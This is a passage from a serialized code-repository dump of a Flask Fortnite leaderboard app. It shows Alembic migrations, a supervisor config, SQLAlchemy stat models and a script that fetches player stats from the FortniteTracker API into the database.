op.create_index(op.f('ix_stats_life_wins'), 'stats', ['life_wins'], unique=False)\n op.create_index(op.f('ix_stats_pic'), 'stats', ['pic'], unique=False)\n op.create_index(op.f('ix_stats_player'), 'stats', ['player'], unique=False)\n op.create_index(op.f('ix_stats_solo_kd'), 'stats', ['solo_kd'], unique=False)\n op.create_index(op.f('ix_stats_solo_kills'), 'stats', ['solo_kills'], unique=False)\n op.create_index(op.f('ix_stats_solo_kpm'), 'stats', ['solo_kpm'], unique=False)\n op.create_index(op.f('ix_stats_solo_wins'), 'stats', ['solo_wins'], unique=False)\n op.create_index(op.f('ix_stats_squad_kd'), 'stats', ['squad_kd'], unique=False)\n op.create_index(op.f('ix_stats_squad_kills'), 'stats', ['squad_kills'], unique=False)\n op.create_index(op.f('ix_stats_squad_kpm'), 'stats', ['squad_kpm'], unique=False)\n op.create_index(op.f('ix_stats_squad_wins'), 'stats', ['squad_wins'], unique=False)\n op.create_table('win_feed',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('log', sa.String(length=128), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_win_feed_log'), 'win_feed', ['log'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_win_feed_log'), table_name='win_feed')\n op.drop_table('win_feed')\n op.drop_index(op.f('ix_stats_squad_wins'), table_name='stats')\n op.drop_index(op.f('ix_stats_squad_kpm'), table_name='stats')\n op.drop_index(op.f('ix_stats_squad_kills'), table_name='stats')\n op.drop_index(op.f('ix_stats_squad_kd'), table_name='stats')\n op.drop_index(op.f('ix_stats_solo_wins'), table_name='stats')\n op.drop_index(op.f('ix_stats_solo_kpm'), table_name='stats')\n op.drop_index(op.f('ix_stats_solo_kills'), table_name='stats')\n op.drop_index(op.f('ix_stats_solo_kd'), table_name='stats')\n op.drop_index(op.f('ix_stats_player'), table_name='stats')\n op.drop_index(op.f('ix_stats_pic'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_wins'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_solo_wins'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_solo_kills'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_solo_kd'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_matches'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_kpm'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_kills'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_kd'), table_name='stats')\n op.drop_index(op.f('ix_stats_duo_wins'), table_name='stats')\n op.drop_index(op.f('ix_stats_duo_kpm'), table_name='stats')\n op.drop_index(op.f('ix_stats_duo_kills'), table_name='stats')\n op.drop_index(op.f('ix_stats_duo_kd'), table_name='stats')\n op.drop_table('stats')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.7833935022354126, "alphanum_fraction": 0.8050541281700134, "avg_line_length": 18.85714340209961, "blob_id": "cc8f41eb2d7a42f2df8c94ae81690a1068b1cf27", "content_id": "23b5fa831f972a138b7b31d2b61f156c604d0861", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 277, "license_type": "no_license", "max_line_length": 52, "num_lines": 14, "path": "/supervisor.ini", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "[program:fortnite]\ncommand=/usr/bin/gunicorn -b :5000 -w 4 fortnite:app\ndirectory=/app\nuser=fortnite\nautostart=true\nautorestart=true\nstopasgroup=true\nkillasgroup=true\n\n[program:nginx]\ncommand=/usr/sbin/nginx\nstartsecs=5\nstdout_events_enabled = true\nstderr_events_enabled = true" }, { "alpha_fraction": 0.6750118732452393, "alphanum_fraction": 0.6837268471717834, "avg_line_length": 45.072994232177734, "blob_id": "9dad415f453182d09af48b483d9c4221693ec7eb", "content_id": "09c1337ff50bc686ef7329c2f84eb91c6520217a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6311, "license_type": "no_license", "max_line_length": 59, "num_lines": 137, "path": "/manager.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "from flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_script import Manager\nfrom flask_migrate import Migrate, MigrateCommand\nfrom config import Config\n\napp = Flask(__name__)\napp.config.from_object(Config)\n\ndb = SQLAlchemy(app)\nmigrate = Migrate(app, db)\n\nmanager = Manager(app)\nmanager.add_command('db', MigrateCommand)\n\nclass StatsFour(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n player = db.Column(db.String(64), index=True)\n s4_solo_wins = db.Column(db.Integer, index=True)\n s4_solo_kills = db.Column(db.Integer, index=True)\n s4_solo_killsmax = db.Column(db.Integer, index=True)\n s4_solo_kd = db.Column(db.Float, index=True)\n s4_solo_wr = db.Column(db.Float, index=True)\n s4_solo_matches = db.Column(db.Integer, index=True)\n s4_duo_wins = db.Column(db.Integer, index=True)\n s4_duo_kills = db.Column(db.Integer, index=True)\n s4_duo_killsmax = db.Column(db.Integer, index=True)\n s4_duo_kd = db.Column(db.Float, index=True)\n s4_duo_wr = db.Column(db.Float, index=True)\n s4_duo_matches = db.Column(db.Integer, index=True)\n s4_squad_wins = db.Column(db.Integer, index=True)\n s4_squad_kills = db.Column(db.Integer, index=True)\n s4_squad_killsmax = db.Column(db.Integer, index=True)\n s4_squad_kpm = db.Column(db.Float, index=True)\n s4_squad_kd = db.Column(db.Float, index=True)\n s4_squad_wr = db.Column(db.Float, index=True)\n s4_squad_matches = db.Column(db.Integer, index=True)\n s4_total_wins = db.Column(db.Integer, index=True)\n s4_total_kills = db.Column(db.Integer, index=True)\n s4_total_matches = db.Column(db.Integer, index=True)\n\nclass Stats(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n player = db.Column(db.String(64), index=True)\n solo_wins = db.Column(db.Integer, index=True)\n solo_kills = db.Column(db.Integer, index=True)\n solo_kpm = db.Column(db.Float, index=True)\n solo_kd = db.Column(db.Float, index=True)\n solo_wr = db.Column(db.Float, index=True)\n solo_matches = db.Column(db.Integer, index=True)\n duo_wins = db.Column(db.Integer, index=True)\n duo_kills = db.Column(db.Integer, index=True)\n duo_kpm = db.Column(db.Float, index=True)\n duo_kd = db.Column(db.Float, index=True)\n duo_wr = db.Column(db.Float, index=True)\n duo_matches = db.Column(db.Integer, index=True)\n squad_wins = db.Column(db.Integer, index=True)\n squad_kills = db.Column(db.Integer, index=True)\n squad_kpm = db.Column(db.Float, index=True)\n squad_kd = db.Column(db.Float, index=True)\n squad_wr = db.Column(db.Float, index=True)\n squad_matches = db.Column(db.Integer, index=True)\n life_wins = db.Column(db.Integer, index=True)\n life_kills = db.Column(db.Integer, index=True)\n life_kpm = db.Column(db.Float, index=True)\n life_kd = db.Column(db.Float, index=True)\n life_wr = db.Column(db.Float, index=True)\n life_matches = db.Column(db.Integer, index=True)\n life_solo_wins = db.Column(db.Integer, index=True)\n life_solo_kills = db.Column(db.Integer, index=True)\n life_solo_kd = db.Column(db.Float, index=True)\n life_solo_wr = db.Column(db.Float, index=True)\n life_solo_matches = db.Column(db.Integer, index=True)\n life_duo_wins = db.Column(db.Integer, index=True)\n life_duo_kills = db.Column(db.Integer, index=True)\n life_duo_kd = db.Column(db.Float, index=True)\n life_duo_wr = db.Column(db.Float, index=True)\n life_duo_matches = db.Column(db.Integer, index=True)\n life_squad_wins = db.Column(db.Integer, index=True)\n life_squad_kills = db.Column(db.Integer, index=True)\n life_squad_kd = db.Column(db.Float, index=True)\n life_squad_wr = db.Column(db.Float, index=True)\n life_squad_matches = db.Column(db.Integer, index=True)\n s3_total_wins = db.Column(db.Integer, index=True)\n s3_total_kills = db.Column(db.Integer, index=True)\n s3_total_kd = db.Column(db.Float, index=True)\n s3_total_matches = db.Column(db.Integer, index=True)\n s3_total_matchesnew = db.Column(db.Integer, index=True)\n s4_solo_wins = db.Column(db.Integer, index=True)\n s4_solo_kills = db.Column(db.Integer, index=True)\n s4_solo_kd = db.Column(db.Float, index=True)\n s4_solo_wr = db.Column(db.Float, index=True)\n s4_solo_matches = db.Column(db.Integer, index=True)\n s4_duo_wins = db.Column(db.Integer, index=True)\n s4_duo_kills = db.Column(db.Integer, index=True)\n s4_duo_kd = db.Column(db.Float, index=True)\n s4_duo_wr = db.Column(db.Float, index=True)\n s4_duo_matches = db.Column(db.Integer, index=True)\n s4_squad_wins = db.Column(db.Integer, index=True)\n s4_squad_kills = db.Column(db.Integer, index=True)\n s4_squad_kpm = db.Column(db.Float, index=True)\n s4_squad_kd = db.Column(db.Float, index=True)\n s4_squad_wr = db.Column(db.Float, index=True)\n s4_squad_matches = db.Column(db.Integer, index=True)\n pic = db.Column(db.String(128), index=True)\n\nclass StatsLifetime(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n player = db.Column(db.String(64), index=True)\n life_wins = db.Column(db.Integer, index=True)\n life_kills = db.Column(db.Integer, index=True)\n life_kpm = db.Column(db.Float, index=True)\n life_kd = db.Column(db.Float, index=True)\n life_wr = db.Column(db.Float, index=True)\n life_matches = db.Column(db.Integer, index=True)\n life_solo_wins = db.Column(db.Integer, index=True)\n life_solo_kills = db.Column(db.Integer, index=True)\n life_solo_kd = db.Column(db.Float, index=True)\n life_solo_wr = db.Column(db.Float, index=True)\n life_solo_matches = db.Column(db.Integer, index=True)\n life_duo_wins = db.Column(db.Integer, index=True)\n life_duo_kills = db.Column(db.Integer, index=True)\n life_duo_kd = db.Column(db.Float, index=True)\n life_duo_wr = db.Column(db.Float, index=True)\n life_duo_matches = db.Column(db.Integer, index=True)\n life_squad_wins = db.Column(db.Integer, index=True)\n life_squad_kills = db.Column(db.Integer, index=True)\n life_squad_kd = db.Column(db.Float, index=True)\n life_squad_wr = db.Column(db.Float, index=True)\n life_squad_matches = db.Column(db.Integer, index=True)\n\nclass WinFeed(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n log = db.Column(db.String(128), index=True)\n\nif __name__ == '__main__':\n manager.run()" }, { "alpha_fraction": 0.6254709959030151, "alphanum_fraction": 0.6495855450630188, "avg_line_length": 33.921051025390625, "blob_id": "f622c5a8183342c6cf3d167b1c59c80950420242", "content_id": "fbc961785359373a6b0bcc5d3b233a213d98b682", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1327, "license_type": "no_license", "max_line_length": 83, "num_lines": 38, "path": "/migrations/versions/23f0e0119749_adding_win_percentage_back.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "\"\"\"adding win percentage back\n\nRevision ID: 23f0e0119749\nRevises: 213637bd20e0\nCreate Date: 2018-04-30 14:29:32.614061\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '23f0e0119749'\ndown_revision = '213637bd20e0'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('stats', sa.Column('duo_wr', sa.Float(), nullable=True))\n op.add_column('stats', sa.Column('solo_wr', sa.Float(), nullable=True))\n op.add_column('stats', sa.Column('squad_wr', sa.Float(), nullable=True))\n op.create_index(op.f('ix_stats_duo_wr'), 'stats', ['duo_wr'], unique=False)\n op.create_index(op.f('ix_stats_solo_wr'), 'stats', ['solo_wr'], unique=False)\n op.create_index(op.f('ix_stats_squad_wr'), 'stats', ['squad_wr'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_stats_squad_wr'), table_name='stats')\n op.drop_index(op.f('ix_stats_solo_wr'), table_name='stats')\n op.drop_index(op.f('ix_stats_duo_wr'), table_name='stats')\n op.drop_column('stats', 'squad_wr')\n op.drop_column('stats', 'solo_wr')\n op.drop_column('stats', 'duo_wr')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6528133153915405, "alphanum_fraction": 0.6803069114685059, "avg_line_length": 40.157894134521484, "blob_id": "866bb4ce373425e844cfe1c9f211ea41918bcdc2", "content_id": "0a01d1c2b3dfbd3ca10046cda18afa04473d9522", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1564, "license_type": "no_license", "max_line_length": 111, "num_lines": 38, "path": "/migrations/versions/cbe152b21861_tracking_highest_kill_counts_from_games.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "\"\"\"tracking highest kill counts from games\n\nRevision ID: cbe152b21861\nRevises: 1508333f895d\nCreate Date: 2018-05-04 16:02:36.381884\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'cbe152b21861'\ndown_revision = '1508333f895d'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('stats_four', sa.Column('s4_duo_killsmax', sa.Integer(), nullable=True))\n op.add_column('stats_four', sa.Column('s4_solo_killsmax', sa.Integer(), nullable=True))\n op.add_column('stats_four', sa.Column('s4_squad_killsmax', sa.Integer(), nullable=True))\n op.create_index(op.f('ix_stats_four_s4_duo_killsmax'), 'stats_four', ['s4_duo_killsmax'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_solo_killsmax'), 'stats_four', ['s4_solo_killsmax'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_squad_killsmax'), 'stats_four', ['s4_squad_killsmax'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_stats_four_s4_squad_killsmax'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_solo_killsmax'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_duo_killsmax'), table_name='stats_four')\n op.drop_column('stats_four', 's4_squad_killsmax')\n op.drop_column('stats_four', 's4_solo_killsmax')\n op.drop_column('stats_four', 's4_duo_killsmax')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.664158821105957, "alphanum_fraction": 0.67296302318573, "avg_line_length": 45.61940383911133, "blob_id": "6512322e3429ff52265cde0f9599f7a0fc64902e", "content_id": "2127072cfb6d7eabe0b552ee2a0db28a55d98541", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6247, "license_type": "no_license", "max_line_length": 59, "num_lines": 134, "path": "/app/models.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "from app import db\n\nclass StatsFour(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n player = db.Column(db.String(64), index=True)\n s4_solo_wins = db.Column(db.Integer, index=True)\n s4_solo_kills = db.Column(db.Integer, index=True)\n s4_solo_killsmax = db.Column(db.Integer, index=True)\n s4_solo_kd = db.Column(db.Float, index=True)\n s4_solo_wr = db.Column(db.Float, index=True)\n s4_solo_matches = db.Column(db.Integer, index=True)\n s4_duo_wins = db.Column(db.Integer, index=True)\n s4_duo_kills = db.Column(db.Integer, index=True)\n s4_duo_killsmax = db.Column(db.Integer, index=True)\n s4_duo_kd = db.Column(db.Float, index=True)\n s4_duo_wr = db.Column(db.Float, index=True)\n s4_duo_matches = db.Column(db.Integer, index=True)\n s4_squad_wins = db.Column(db.Integer, index=True)\n s4_squad_kills = db.Column(db.Integer, index=True)\n s4_squad_killsmax = db.Column(db.Integer, index=True)\n s4_squad_kpm = db.Column(db.Float, index=True)\n s4_squad_kd = db.Column(db.Float, index=True)\n s4_squad_wr = db.Column(db.Float, index=True)\n s4_squad_matches = db.Column(db.Integer, index=True)\n s4_total_wins = db.Column(db.Integer, index=True)\n s4_total_kills = db.Column(db.Integer, index=True)\n s4_total_matches = db.Column(db.Integer, index=True)\n\n def __repr__(self):\n return '<StatsFour {}>'.format(self.player)\n\nclass Stats(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n player = db.Column(db.String(64), index=True)\n solo_wins = db.Column(db.Integer, index=True)\n solo_kills = db.Column(db.Integer, index=True)\n solo_kpm = db.Column(db.Float, index=True)\n solo_kd = db.Column(db.Float, index=True)\n solo_wr = db.Column(db.Float, index=True)\n solo_matches = db.Column(db.Integer, index=True)\n duo_wins = db.Column(db.Integer, index=True)\n duo_kills = db.Column(db.Integer, index=True)\n duo_kpm = db.Column(db.Float, index=True)\n duo_kd = db.Column(db.Float, index=True)\n duo_wr = db.Column(db.Float, index=True)\n duo_matches = db.Column(db.Integer, index=True)\n squad_wins = db.Column(db.Integer, index=True)\n squad_kills = db.Column(db.Integer, index=True)\n squad_kpm = db.Column(db.Float, index=True)\n squad_kd = db.Column(db.Float, index=True)\n squad_wr = db.Column(db.Float, index=True)\n squad_matches = db.Column(db.Integer, index=True)\n life_wins = db.Column(db.Integer, index=True)\n life_kills = db.Column(db.Integer, index=True)\n life_kpm = db.Column(db.Float, index=True)\n life_kd = db.Column(db.Float, index=True)\n life_wr = db.Column(db.Float, index=True)\n life_matches = db.Column(db.Integer, index=True)\n life_solo_wins = db.Column(db.Integer, index=True)\n life_solo_kills = db.Column(db.Integer, index=True)\n life_solo_kd = db.Column(db.Float, index=True)\n life_solo_wr = db.Column(db.Float, index=True)\n life_solo_matches = db.Column(db.Integer, index=True)\n life_duo_wins = db.Column(db.Integer, index=True)\n life_duo_kills = db.Column(db.Integer, index=True)\n life_duo_kd = db.Column(db.Float, index=True)\n life_duo_wr = db.Column(db.Float, index=True)\n life_duo_matches = db.Column(db.Integer, index=True)\n life_squad_wins = db.Column(db.Integer, index=True)\n life_squad_kills = db.Column(db.Integer, index=True)\n life_squad_kd = db.Column(db.Float, index=True)\n life_squad_wr = db.Column(db.Float, index=True)\n life_squad_matches = db.Column(db.Integer, index=True)\n s3_total_wins = db.Column(db.Integer, index=True)\n s3_total_kills = db.Column(db.Integer, index=True)\n s3_total_kd = db.Column(db.Float, index=True)\n s3_total_matches = db.Column(db.Integer, index=True)\n s3_total_matchesnew = db.Column(db.Integer, index=True)\n s4_solo_wins = db.Column(db.Integer, index=True)\n s4_solo_kills = db.Column(db.Integer, index=True)\n s4_solo_kd = db.Column(db.Float, index=True)\n s4_solo_wr = db.Column(db.Float, index=True)\n s4_solo_matches = db.Column(db.Integer, index=True)\n s4_duo_wins = db.Column(db.Integer, index=True)\n s4_duo_kills = db.Column(db.Integer, index=True)\n s4_duo_kd = db.Column(db.Float, index=True)\n s4_duo_wr = db.Column(db.Float, index=True)\n s4_duo_matches = db.Column(db.Integer, index=True)\n s4_squad_wins = db.Column(db.Integer, index=True)\n s4_squad_kills = db.Column(db.Integer, index=True)\n s4_squad_kpm = db.Column(db.Float, index=True)\n s4_squad_kd = db.Column(db.Float, index=True)\n s4_squad_wr = db.Column(db.Float, index=True)\n s4_squad_matches = db.Column(db.Integer, index=True)\n pic = db.Column(db.String(128), index=True)\n\n def __repr__(self):\n return '<Stats {}>'.format(self.player)\n\nclass StatsLifetime(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n player = db.Column(db.String(64), index=True)\n life_wins = db.Column(db.Integer, index=True)\n life_kills = db.Column(db.Integer, index=True)\n life_kpm = db.Column(db.Float, index=True)\n life_kd = db.Column(db.Float, index=True)\n life_wr = db.Column(db.Float, index=True)\n life_matches = db.Column(db.Integer, index=True)\n life_solo_wins = db.Column(db.Integer, index=True)\n life_solo_kills = db.Column(db.Integer, index=True)\n life_solo_kd = db.Column(db.Float, index=True)\n life_solo_wr = db.Column(db.Float, index=True)\n life_solo_matches = db.Column(db.Integer, index=True)\n life_duo_wins = db.Column(db.Integer, index=True)\n life_duo_kills = db.Column(db.Integer, index=True)\n life_duo_kd = db.Column(db.Float, index=True)\n life_duo_wr = db.Column(db.Float, index=True)\n life_duo_matches = db.Column(db.Integer, index=True)\n life_squad_wins = db.Column(db.Integer, index=True)\n life_squad_kills = db.Column(db.Integer, index=True)\n life_squad_kd = db.Column(db.Float, index=True)\n life_squad_wr = db.Column(db.Float, index=True)\n life_squad_matches = db.Column(db.Integer, index=True)\n\n def __repr__(self):\n return '<StatsLifetime {}>'.format(self.player)\n\n\nclass WinFeed(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n log = db.Column(db.String(128), index=True)\n\n def __repr__(self):\n return '<WinFeed {}>'.format(self.log)\n" }, { "alpha_fraction": 0.5640044808387756, "alphanum_fraction": 0.5868231654167175, "avg_line_length": 40.545204162597656, "blob_id": "19cdeee801f93db3669014d4059d48af1be93c48", "content_id": "208b22c521a621d33c081c06d7d4591aa82a9df7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15163, "license_type": "no_license", "max_line_length": 127, "num_lines": 365, "path": "/dbupdate.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "from app import app, db\nfrom app.models import Stats, WinFeed, StatsFour, StatsLifetime\nimport requests\nimport json\nfrom datetime import datetime\nfrom pytz import timezone\nimport pytz\nfrom bs4 import BeautifulSoup\nfrom time import sleep\n\nplayers = ['jamzzee', 'brobotic', 'jambijon', 'irishleadhead', 'hustleb0nez']\n\nheaders = {'TRN-Api-Key':'api key from FortniteTracker goes here'}\n\ndef get_stats():\n for player in players:\n print(player)\n r = requests.get('https://api.fortnitetracker.com/v1/profile/pc/{0}'.format(player), headers=headers)\n data = json.loads(r.text)\n\n player_statsfour = StatsFour.query.filter_by(player=player).order_by(StatsFour.id.desc()).first()\n player_statslife = StatsLifetime.query.filter_by(player=player).order_by(StatsLifetime.id.desc()).first()\n\n '''\n Season 4 stats\n '''\n\n # Season 4 Solo\n if 'curr_p2' not in data['stats']:\n print('No games played in this bracket. Skipping')\n else:\n\n # Season 4 Solo Wins\n s4_s_wins = data['stats']['curr_p2']['top1']['valueInt']\n\n if s4_s_wins > player_statsfour.s4_solo_wins:\n print(f'Updating s4_solo_wins: New - {s4_s_wins}, Old - {player_statsfour.s4_solo_wins}')\n player_statsfour.s4_solo_wins = s4_s_wins\n\n # Season 4 Solo Kills\n s4_s_kills = data['stats']['curr_p2']['kills']['valueInt']\n\n if s4_s_kills > player_statsfour.s4_solo_kills:\n print(f'Updating s4_solo_kills: New - {s4_s_kills}, Old - {player_statsfour.s4_solo_kills}')\n player_statsfour.s4_solo_kills = s4_s_kills\n\n # Season 4 Solo Max Kills/Game\n s4_s_kills_max_check = get_highest_kills('p2', data)\n\n if s4_s_kills_max_check > player_statsfour.s4_solo_killsmax:\n print(f\"Updating s4_solo_killsmax. New: {s4_s_kills_max_check}, Old {player_statsfour.s4_solo_killsmax}\")\n player_statsfour.s4_solo_killsmax = s4_s_kills_max_check\n\n # Season 4 Solo K/D\n player_statsfour.s4_solo_kd = data['stats']['curr_p2']['kd']['valueDec']\n\n # Season 4 Solo Matches Played\n s4_s_matches = data['stats']['curr_p2']['matches']['valueInt']\n\n if s4_s_matches > player_statsfour.s4_solo_matches:\n print(f'Updating s4_solo_matches: New: {s4_s_matches}, Old - {player_statsfour.s4_solo_matches}')\n player_statsfour.s4_solo_matches = s4_s_matches\n\n # Season 4 Solo WinRate\n if 'winRatio' not in data['stats']['curr_p2']:\n print('No games played. Skipping.')\n else:\n player_statsfour.s4_solo_wr = data['stats']['curr_p2']['winRatio']['valueDec']\n\n # Season 4 Duo\n if 'curr_p10' not in data['stats']:\n print('No games played in this bracket. Skipping')\n else:\n\n # Season 4 Duo Wins\n s4_d_wins = data['stats']['curr_p10']['top1']['valueInt']\n\n if s4_d_wins > player_statsfour.s4_duo_wins:\n print(f'Updating s4_duo_wins: New - {s4_d_wins}, Old - {player_statsfour.s4_duo_wins}')\n player_statsfour.s4_duo_wins = s4_d_wins\n\n # Season 4 Duo Kills\n s4_d_kills = data['stats']['curr_p10']['kills']['valueInt']\n\n if s4_d_kills > player_statsfour.s4_duo_kills:\n print(f'Updating s4_duo_kills: New - {s4_d_kills}, Old - {player_statsfour.s4_duo_kills}')\n player_statsfour.s4_duo_kills = s4_d_kills\n\n # Season 4 Duo Max Kills/Game\n s4_d_kills_max_check = get_highest_kills('p10', data)\n\n if s4_d_kills_max_check > player_statsfour.s4_duo_killsmax:\n print(f'Updating s4_duo_killsmax: New - {s4_d_kills_max_check}, Old - {player_statsfour.s4_duo_killsmax}')\n player_statsfour.s4_duo_killsmax = s4_d_kills_max_check\n \n # Season 4 Duo K/D\n player_statsfour.s4_duo_kd = data['stats']['curr_p10']['kd']['valueDec']\n\n # Season 4 Duo Matches Played\n s4_d_matches = data['stats']['curr_p10']['matches']['valueInt']\n\n if s4_d_matches > player_statsfour.s4_duo_matches:\n print(f'Updating s4_duo_matches: New: {s4_d_matches}, Old - {player_statsfour.s4_duo_matches}')\n player_statsfour.s4_duo_matches = s4_d_matches\n\n # Season 4 Duo WinRate\n if 'winRatio' not in data['stats']['curr_p10']:\n print('No games played. Skipping.')\n else:\n player_statsfour.s4_duo_wr = data['stats']['curr_p10']['winRatio']['valueDec']\n\n # Season 4 Squad\n if 'curr_p9' not in data['stats']:\n print('No games played in this bracket. Skipping')\n else:\n\n # Season 4 Squad Wins\n s4_sq_wins = data['stats']['curr_p9']['top1']['valueInt']\n\n if s4_sq_wins > player_statsfour.s4_squad_wins:\n print(f'Updating s4_squad_wins: New - {s4_sq_wins}, Old - {player_statsfour.s4_squad_wins}')\n player_statsfour.s4_squad_wins = s4_sq_wins\n\n # Season 4 Squad Kills\n s4_sq_kills = data['stats']['curr_p9']['kills']['valueInt']\n\n if s4_sq_kills > player_statsfour.s4_squad_kills:\n print(f'Updating s4_squad_kills: New - {s4_sq_kills}, Old - {player_statsfour.s4_squad_kills}')\n player_statsfour.s4_squad_kills = s4_sq_kills\n\n # Season 4 Squad Max Kills/Game\n s4_sq_kills_max_check = get_highest_kills('p9', data)\n\n if s4_sq_kills_max_check > player_statsfour.s4_squad_killsmax:\n print(f'Updating s4_squad_killsmax: New - {s4_sq_kills_max_check}, Old - {player_statsfour.s4_squad_killsmax}')\n player_statsfour.s4_squad_killsmax = s4_sq_kills_max_check\n\n # Season 4 Squad K/D\n player_statsfour.s4_squad_kd = data['stats']['curr_p9']['kd']['valueDec']\n\n # Season 4 Squad Matches Played\n s4_sq_matches = data['stats']['curr_p9']['matches']['valueInt']\n\n if s4_sq_matches > player_statsfour.s4_squad_matches:\n print(f'Updating s4_squad_matches: New: {s4_sq_matches}, Old - {player_statsfour.s4_squad_matches}')\n player_statsfour.s4_squad_matches = s4_sq_matches\n\n # Season 4 Squad WinRate\n if 'winRatio' not in data['stats']['curr_p9']:\n print('No games played. Skipping.')\n else:\n player_statsfour.s4_squad_wr = data['stats']['curr_p9']['winRatio']['valueDec']\n\n # Season 4 Total Wins / Kills Matches\n s4_wins = total_stats(s4_s_wins, s4_d_wins, s4_sq_wins)\n \n if s4_wins > player_statsfour.s4_total_wins:\n print(f'Updating s4_total_wins: New - {s4_wins}, Old - {player_statsfour.s4_total_wins}')\n player_statsfour.s4_total_wins = s4_wins\n\n # Season 4 Total Kills\n s4_kills = total_stats(s4_s_kills, s4_d_kills, s4_sq_kills)\n\n if s4_kills > player_statsfour.s4_total_kills:\n print(f'Updating s4_total_kills: New - {s4_kills}, Old - {player_statsfour.s4_total_kills}')\n player_statsfour.s4_total_kills = s4_kills\n\n # Season 4 Total Matches\n s4_matches = total_stats(s4_s_matches, s4_d_matches, s4_sq_matches)\n\n if s4_matches > player_statsfour.s4_total_matches:\n print(f'Updating s4_total_matches: New - {s4_matches}, Old - {player_statsfour.s4_total_matches}')\n player_statsfour.s4_total_matches = s4_matches\n\n '''\n Lifetime stats\n '''\n\n # Lifetime Wins\n lt_wins = int(data['lifeTimeStats'][8]['value'])\n\n if lt_wins > player_statslife.life_wins:\n print(f'Updating life_wins: New - {lt_wins}, Old - {player_statslife.life_wins}')\n player_statslife.life_wins = lt_wins\n\n # Lifetime Kills\n lt_kills = int(data['lifeTimeStats'][10]['value'])\n \n if lt_kills > player_statslife.life_kills:\n print(f'Updating life_kills: New - {lt_kills}, Old - {player_statslife.life_kills}')\n player_statslife.life_kills = lt_kills\n\n # Lifetime K/D\n player_statslife.life_kd = float(data['lifeTimeStats'][11]['value'])\n\n # Lifetime Matches Played\n lt_matches = int(data['lifeTimeStats'][7]['value'])\n\n if lt_matches > player_statslife.life_matches:\n print(f'Updating life_matches: New - {lt_matches}, Old - {player_statslife.life_matches}')\n player_statslife.life_matches = lt_matches\n\n # Lifetime WinRate\n lt_wr_raw = data['lifeTimeStats'][9]['value']\n # Casting to float is required because lifeTimeStats data only returns the value as a string\n player_statslife.life_wr = float(lt_wr_raw[:-1])\n\n # Lifetime Solo Wins\n lt_s_wins = data['stats']['p2']['top1']['valueInt']\n\n if lt_s_wins > player_statslife.life_solo_wins:\n print(f'Updating life_solo_wins: New - {lt_s_wins}, Old - {player_statslife.life_solo_wins}')\n player_statslife.life_solo_wins = lt_s_wins\n\n # Lifetime Solo Kills\n lt_s_kills = data['stats']['p2']['kills']['valueInt']\n\n if lt_s_kills > player_statslife.life_solo_kills:\n print(f'Updating life_solo_kills: New - {lt_s_kills}, Old - {player_statslife.life_solo_kills}')\n player_statslife.life_solo_kills = lt_s_kills\n\n # Lifetime Solo K/D\n player_statslife.life_solo_kd = data['stats']['p2']['kd']['valueDec'] \n\n # Lifetime Solo Matches Played\n lt_s_matches = data['stats']['p2']['matches']['valueInt']\n\n if lt_s_matches > player_statslife.life_solo_matches:\n print(f'Updating life_solo_matches: New - {lt_s_matches}, Old - {player_statslife.life_solo_matches}')\n player_statslife.life_solo_matches = lt_s_matches\n\n # Lifetime Solo WinRate\n if 'winRatio' not in data['stats']['p2']:\n print('No games played. Skipping.')\n else:\n player_statslife.life_solo_wr = 